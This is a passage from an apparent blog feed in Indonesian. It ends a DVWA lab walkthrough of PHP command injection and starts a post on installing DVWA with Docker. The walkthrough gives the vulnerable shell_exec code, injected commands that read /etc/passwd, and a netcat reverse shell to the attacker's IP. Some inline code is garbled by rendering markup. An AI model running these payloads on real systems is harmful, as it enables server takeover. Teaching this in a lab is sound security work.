];&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;// Determine OS and execute the ping command.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt;( &lt;/span&gt;&lt;span&gt;stristr&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;php_uname&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;s&apos;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;Windows NT&apos;&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;) ) {&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;// Windows&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;$cmd&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;shell_exec&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;ping  &apos;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$target&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;else&lt;/span&gt;&lt;span&gt; {&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;// *nix&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;        &lt;/span&gt;&lt;span&gt;$cmd&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;shell_exec&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;/span&gt;&lt;span&gt;&apos;ping  -c 4 &apos;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;$target&lt;/span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;// Feedback for the end user&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;echo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&quot;&amp;lt;pre&amp;gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;$cmd&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&amp;lt;/pre&amp;gt;&quot;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;?&lt;/span&gt;&lt;span&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Perhatikan bahwa pada variable &lt;strong&gt;&lt;code&gt;$cmd&lt;/code&gt;&lt;/strong&gt; yang mengambil input dari &lt;em&gt;user&lt;/em&gt; untuk kemudian dieksekusi, yaitu &lt;span&gt;&lt;span&gt;cmd=∗∗‘shellexec(′ping′.cmd = **`shell_exec( &apos;ping  &apos; . &lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;∗&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;∗&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;‘&lt;/span&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;h&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;l&lt;/span&gt;&lt;span&gt;&lt;span&gt;l&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;e&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;x&lt;/span&gt;&lt;span&gt;ec&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;′&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;p&lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt;&lt;span&gt;g&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;′&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;target );&lt;code&gt;** jika DVWA di-host di server Windows dan **&lt;/code&gt;&lt;span&gt;&lt;span&gt;cmd=shellexec(′ping−c4′.cmd = shell_exec( &apos;ping  -c 4 &apos; . &lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;m&lt;/span&gt;&lt;span&gt;d&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;h&lt;/span&gt;&lt;span&gt;e&lt;/span&gt;&lt;span&gt;l&lt;/span&gt;&lt;span&gt;&lt;span&gt;l&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;e&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;x&lt;/span&gt;&lt;span&gt;ec&lt;/span&gt;&lt;span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;′&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;p&lt;/span&gt;&lt;span&gt;in&lt;/span&gt;&lt;span&gt;g&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;−&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;c&lt;/span&gt;&lt;span&gt;&lt;span&gt;4&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;&lt;span&gt;&lt;span&gt;′&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;target );&lt;code&gt;** jika DVWA di-*deploy* di Linux, tidak ada validasi / sanitasi *input*-nya. Itu artinya, kita dapat melakukan *command injection* dengan mem-*bypass* perintah **&lt;/code&gt;ping`** di server dengan karakter yang umum digunakan untuk melakukan serangan &lt;em&gt;command injection&lt;/em&gt;, yaitu &lt;em&gt;semicolon&lt;/em&gt; &lt;strong&gt;(:)&lt;/strong&gt; sehingga &lt;em&gt;attacker&lt;/em&gt; dapat memberikan perintah lain ke server.&lt;/p&gt;
&lt;p&gt;&lt;mark&gt; Karakter &lt;em&gt;semicolon&lt;/em&gt; &lt;strong&gt;(;)&lt;/strong&gt; adalah sebuah &lt;em&gt;standard item&lt;/em&gt; dalam &lt;em&gt;environment&lt;/em&gt; UNIX/Linux untuk memisahkan &lt;em&gt;commands&lt;/em&gt;&lt;/mark&gt;.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Misalnya, saya ingin melihat isi file &lt;strong&gt;&lt;code&gt;/etc/passwd&lt;/code&gt;&lt;/strong&gt; di server, saya dapat menambahkan karakter semicolon &lt;strong&gt;(;)&lt;/strong&gt; yang diikuti dengan perintah &lt;strong&gt;&lt;code&gt;cat /etc/passwd&lt;/code&gt;&lt;/strong&gt; setelah menuliskan &lt;em&gt;ip address&lt;/em&gt; pada &lt;em&gt;form&lt;/em&gt; &lt;strong&gt;&lt;code&gt;ping&lt;/code&gt;&lt;/strong&gt; tersebut:&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;File &lt;strong&gt;&lt;code&gt;/etc/passwd&lt;/code&gt;&lt;/strong&gt; dalam sistem operasi linux menyimpan semua data user yang terdaftar di sistem operasi tersebut, baik &lt;em&gt;system/service user&lt;/em&gt; seperti &lt;strong&gt;www-data&lt;/strong&gt;, &lt;strong&gt;mysql&lt;/strong&gt;, &lt;strong&gt;sshd&lt;/strong&gt;, dan lainnya maupun &lt;em&gt;login user&lt;/em&gt; seperti saya sendiri sebagai pengguna komputer.&lt;/p&gt;&lt;p&gt;Sebagai ilustrasi, dalam mesin saya, berikut adalah isi file &lt;strong&gt;&lt;code&gt;/etc/passwd&lt;/code&gt;&lt;/strong&gt;-nya:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;/etc/passwd&quot; loading=&quot;lazy&quot; width=&quot;954&quot; height=&quot;1013&quot; src=&quot;/_astro/ss1.C8IfMIhz_1cuUXo.webp&quot; /&gt;&lt;figcaption&gt;/etc/passwd&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;command injection cat /etc/passwd&quot; loading=&quot;lazy&quot; width=&quot;697&quot; height=&quot;643&quot; src=&quot;/_astro/ss2.CRpmqgcz_Z1pP04V.webp&quot; /&gt;&lt;figcaption&gt;command injection cat /etc/passwd&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Kita bisa lihat &lt;em&gt;output&lt;/em&gt; yang ditampilkan di website, mula-mula perintah &lt;strong&gt;&lt;code&gt;ping -c 4 192.168.0.109&lt;/code&gt;&lt;/strong&gt; dieksekusi (menge-&lt;strong&gt;&lt;code&gt;ping&lt;/code&gt;&lt;/strong&gt; / mengirimkan paket &lt;strong&gt;ICMP&lt;/strong&gt; - &lt;em&gt;Internet Control Message Protocol&lt;/em&gt; ke &lt;em&gt;ip address&lt;/em&gt; 192.168.0.109 ) terlebih dahulu ke server, kemudian perintah &lt;strong&gt;&lt;code&gt;cat /etc/passwd&lt;/code&gt;&lt;/strong&gt; dieksekusi setelahnya.&lt;/p&gt;
&lt;p&gt;Atau jika kita ingin perintahnya lebih sederhana, kita bisa hanya mengetikkan perintah &lt;strong&gt;&lt;code&gt;; cat /etc/passwd&lt;/code&gt;&lt;/strong&gt; tanpa harus mengetikkan ip address-nya terlebih dahulu karena tadi, fungsi karakter &lt;em&gt;semicolon&lt;/em&gt; adalah memisahkan dua perintah atau lebih, jadi perintah pertama akan dieksekusi (jika ada) dan kemudian perintah kedua akan dieskekusi.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;simpler command injection cat /etc/passwd&quot; loading=&quot;lazy&quot; width=&quot;691&quot; height=&quot;304&quot; src=&quot;/_astro/ss3.BvwHNDwl_Z18eSQ3.webp&quot; /&gt;&lt;figcaption&gt;simpler command injection cat /etc/passwd&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Sekarang kita paham bahwa dalam konteks ini, kerentanan &lt;em&gt;command injection&lt;/em&gt; di website mengakibatkan &lt;em&gt;attacker&lt;/em&gt; dapat mengeksekusi perintah sistem operasi apapun dari website. Itu juga berarti bahwa &lt;em&gt;attacker&lt;/em&gt; dapat melakukan &lt;a href=&quot;https://integrasolusi.com/blog/pentesting-perbandingan-bind-shell-dan-reverse-shell/&quot; target=&quot;_blank&quot;&gt;&lt;em&gt;&lt;strong&gt;reverse shell&lt;/strong&gt;&lt;/em&gt;&lt;/a&gt; untuk mendapatkan &lt;em&gt;shell&lt;/em&gt; server. Ketika &lt;em&gt;attacker&lt;/em&gt; sudah berhasil mendapatkan &lt;em&gt;shell&lt;/em&gt;, itu artinya server sudah berhasil “dibajak”.&lt;/p&gt;
&lt;p&gt;Untuk demonstrasi &lt;em&gt;reverse shell&lt;/em&gt;, saya akan menggunakan &lt;a href=&quot;https://www.geeksforgeeks.org/introduction-to-netcat/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;&lt;code&gt;netcat&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;Pertama, kita perlu mengecek / memastikan dulu bahwa &lt;strong&gt;&lt;code&gt;netcat&lt;/code&gt;&lt;/strong&gt; / &lt;strong&gt;&lt;code&gt;nc&lt;/code&gt;&lt;/strong&gt; ter-&lt;em&gt;install&lt;/em&gt; di dalam di server dengan mengetikkan perintah berikut di &lt;em&gt;form&lt;/em&gt; &lt;strong&gt;&lt;code&gt;ping&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;; &lt;/span&gt;&lt;span&gt;whereis&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;nc&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;checking netcat in the server&quot; loading=&quot;lazy&quot; width=&quot;511&quot; height=&quot;182&quot; src=&quot;/_astro/ss4.B7LI_3RC_Z1D7KzI.webp&quot; /&gt;&lt;figcaption&gt;checking netcat in the server&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;Netcat&lt;/code&gt;&lt;/strong&gt; ada di dalam server. Kita bisa melakukan &lt;em&gt;reverse shell&lt;/em&gt; sederhana dengan &lt;strong&gt;&lt;code&gt;netcat&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Mula-mula, kita jalankan &lt;strong&gt;&lt;code&gt;netcat&lt;/code&gt;&lt;/strong&gt; di komputer kita (sebagai &lt;em&gt;attacker&lt;/em&gt;) terlebih dahulu untuk melakukan &lt;em&gt;listening&lt;/em&gt; paket:&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nc&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-lvnp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1234&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;mark&gt; -l&lt;/mark&gt; : melakukan &lt;em&gt;listening&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;mark&gt; -v&lt;/mark&gt; : melakukan &lt;em&gt;verbosity&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;mark&gt; -n&lt;/mark&gt; : &lt;em&gt;ip address&lt;/em&gt; tanpa DNS.&lt;/li&gt;
&lt;li&gt;&lt;mark&gt; -p&lt;/mark&gt; : port yang akan melakukan &lt;em&gt;listening&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;mark&gt; 1234&lt;/mark&gt; : nomor port-nya.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Untuk info lebih lanjut, bisa baca-baca di &lt;strong&gt;&lt;code&gt;man nc&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;/blockquote&gt;
&lt;p&gt;Perintah di server (di &lt;em&gt;form&lt;/em&gt; &lt;strong&gt;&lt;code&gt;ping&lt;/code&gt;&lt;/strong&gt;):&lt;/p&gt;
&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nc&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;192.168.0.109&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;1234&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-e&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;/bin/bash&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Keterangan:&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;mark&gt; 192.168.0.109&lt;/mark&gt; : &lt;em&gt;ip address attacker&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;mark&gt; 1234&lt;/mark&gt; : port &lt;em&gt;attacker&lt;/em&gt; yang sedang &lt;em&gt;listening&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;&lt;mark&gt; -e&lt;/mark&gt; : &lt;em&gt;binary&lt;/em&gt; / perintah yang mau dieksekusi.&lt;/li&gt;
&lt;li&gt;&lt;mark&gt; /bin/bash&lt;/mark&gt; : memberi akses BASH shell ke &lt;em&gt;attacker&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Untuk info lebih lanjut, bisa baca-baca di &lt;strong&gt;&lt;code&gt;man nc&lt;/code&gt;&lt;/strong&gt;.&lt;/p&gt;&lt;/blockquote&gt;

&lt;p&gt;Dan kita berhasil mendapatkan &lt;em&gt;shell&lt;/em&gt; server-nya sebagai user &lt;strong&gt;www-data&lt;/strong&gt;.&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://owasp.org/www-community/attacks/Command_Injection&quot; target=&quot;_blank&quot;&gt;https://owasp.org/www-community/attacks/Command_Injection&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.ibm.com/support/pages/meaning-semi-colon-colon-unix-script-sterling-gentranserver-unix&quot; target=&quot;_blank&quot;&gt;https://www.ibm.com/support/pages/meaning-semi-colon-colon-unix-script-sterling-gentranserver-unix&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Step by Step DVWA Installation for Web App Hacking</title><link>https://shangdi.github.io/posts/tech/dvwa-docker/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/dvwa-docker/</guid><description>DVWA (Damn Vulnerable Webb Apps) is a PHP/MySQL web application that is damn vulnerable~</description><pubDate>Fri, 11 Oct 2024 06:28:19 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Intro&lt;a href=&quot;#intro&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Saya akan meng-&lt;em&gt;install&lt;/em&gt; &lt;strong&gt;DVWA (&lt;em&gt;Damn Vulnerable Web Apps&lt;/em&gt;)&lt;/strong&gt; sebagai tempat berlatih &lt;em&gt;hacking&lt;/em&gt; website. DVWA memang didesain untuk melakukan uji penetrasi (&lt;em&gt;penetration testing&lt;/em&gt;) dan eksploitasi beberapa kerentanan yang umumnya banyak ditemukan di aplikasi web, seperti &lt;strong&gt;Command Injection&lt;/strong&gt;, &lt;strong&gt;SQL Injection&lt;/strong&gt;, &lt;strong&gt;XSS&lt;/strong&gt; atau &lt;strong&gt;Cross Site Scripting&lt;/strong&gt;, dan lain sebagainya. Jadi, DVWA adalah aplikasi web yang sengaja dirancang agar rentan terhadap serangan-serangan yang saya sebutkan sebelumnya tadi.&lt;/p&gt;&lt;p&gt;Nah, di artikel ini, saya akan meng-&lt;em&gt;install&lt;/em&gt; DVWA via Docker &amp;amp; manual dari repo Github.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Instalasi DVWA via Docker&lt;a href=&quot;#instalasi-dvwa-via-docker&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Apa itu Docker?&lt;br /&gt;
Docker adalah platform &lt;em&gt;open source&lt;/em&gt; untuk meng-&lt;em&gt;create&lt;/em&gt;, me-&lt;em&gt;manage&lt;/em&gt;, dan men-&lt;em&gt;deploy&lt;/em&gt; aplikasi dalam sebuah &lt;em&gt;container&lt;/em&gt;. &lt;mark&gt; Sederhananya, docker adalah sebuah &lt;em&gt;container&lt;/em&gt;&lt;/mark&gt;. Berikut adalah ilustrasi dari &lt;em&gt;container&lt;/em&gt; dan docker.&lt;/p&gt;&lt;img src=&quot;../images/dvwa-docker/ss1.png&quot; width=&quot;70%&quot; height=&quot;200&quot; alt=&quot;Docker and Container Visualization&quot; /&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;&lt;br /&gt;
Lebih lanjut tentang docker dan container: &lt;a href=&quot;https://www.docker.com/resources/what-container/&quot; target=&quot;_blank&quot;&gt;https://www.docker.com/resources/what-container/&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;p&gt;Berikut adalah langkah-langkah pemasangan DVWA via docker:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;
&lt;em&gt;1. Install docker.&lt;/em&gt;&lt;br /&gt;
&lt;em&gt;2. Pull DVWA’s docker image.&lt;/em&gt;&lt;br /&gt;
&lt;em&gt;3. Run DVWA’s docker image.&lt;/em&gt;&lt;br /&gt;
&lt;em&gt;4. Login with default creds.&lt;/em&gt;&lt;br /&gt;
&lt;em&gt;5. Create database.&lt;/em&gt;&lt;br /&gt;
&lt;em&gt;6. Set difficulty level.&lt;/em&gt;&lt;br /&gt;
